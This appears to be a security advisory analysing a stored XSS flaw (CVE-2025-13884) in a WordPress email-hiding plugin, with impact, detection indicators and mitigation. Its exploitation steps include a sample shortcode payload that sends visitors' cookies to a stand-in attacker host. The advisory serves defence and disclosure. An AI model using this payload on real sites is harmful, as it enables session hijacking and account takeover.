CVE-2025-13884: 
WordPress vulnerability analysis and mitigation

CVE-2025-13884 is a Stored Cross-Site Scripting (XSS) vulnerability in the Hide Email Address plugin for WordPress, affecting all versions up to and including 0.1. The flaw exists in the inline_css parameter of the bg-hide-email-address shortcode due to insufficient input sanitization and output escaping. It was published on December 12, 2025, and assigned a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), stemming from the plugin's failure to sanitize or escape user-supplied values passed to the inline_css parameter before rendering them in page output. An authenticated attacker with at least Contributor-level access can embed a malicious script payload within the shortcode attribute, which is then persistently stored and executed in the browser of any user who visits the affected page. The vulnerable code is visible in the plugin's source at line 101 of BgHideEmailAddress.php (Wordfence, Plugin Source).

Successful exploitation allows an authenticated contributor to inject persistent malicious JavaScript that executes in the context of any visitor's browser session on the affected WordPress site. This can lead to session cookie theft, credential harvesting, defacement, redirection to malicious sites, or further attacks against site administrators — potentially escalating to full site compromise. Confidentiality and integrity are both impacted at a low level per the CVSS scoring, with no direct availability impact (Wordfence, Red Hat CVE).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-13884. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability requires authenticated access at the Contributor level or above, which limits the attack surface. It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Wordfence).

1. Reconnaissance: Identify a WordPress site running the Hide Email Address plugin version 0.1 or earlier. This can be done by checking the plugin directory listing or HTTP response headers.
2. Obtain Contributor Access: Register or compromise an account with at least Contributor-level privileges on the target WordPress site.
3. Craft Malicious Shortcode: Create or edit a post/page and insert the bg-hide-email-address shortcode with a malicious payload in the inline_css parameter, e.g., [bg-hide-email-address inline_css=""><script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish Content: Save and publish the post or page containing the injected shortcode.
5. Trigger Execution: When any user (including administrators) visits the page, the stored script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, Plugin Source).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints containing bg-hide-email-address shortcode with suspicious inline_css values including <script> tags or encoded JavaScript.
• File System: Unexpected modifications to post content in the WordPress database (wp_posts table) containing obfuscated or encoded script payloads within bg-hide-email-address shortcode attributes.
• Network: Outbound requests from visitor browsers to unknown external domains shortly after loading pages containing the bg-hide-email-address shortcode, potentially indicating active script exfiltration.
• Process/Behavior: Unusual admin-level actions (e.g., new admin account creation, plugin installations) following visits to affected pages, which may indicate successful session hijacking via the injected script (Wordfence).

Users should update the Hide Email Address plugin to a version beyond 0.1 once a patched release is available from the plugin vendor (buntegiraffe). In the interim, site administrators should disable or remove the plugin entirely, or restrict Contributor-level user permissions to prevent untrusted users from inserting shortcodes. Reviewing existing posts and pages for suspicious inline_css values in the bg-hide-email-address shortcode is also recommended (Wordfence, Wordfence Weekly Report).

Wordfence disclosed the vulnerability as part of their weekly WordPress vulnerability report for December 8–14, 2025, and published threat intelligence details through their platform. No significant broader media coverage or notable researcher commentary beyond the Wordfence disclosure has been identified (Wordfence Weekly Report).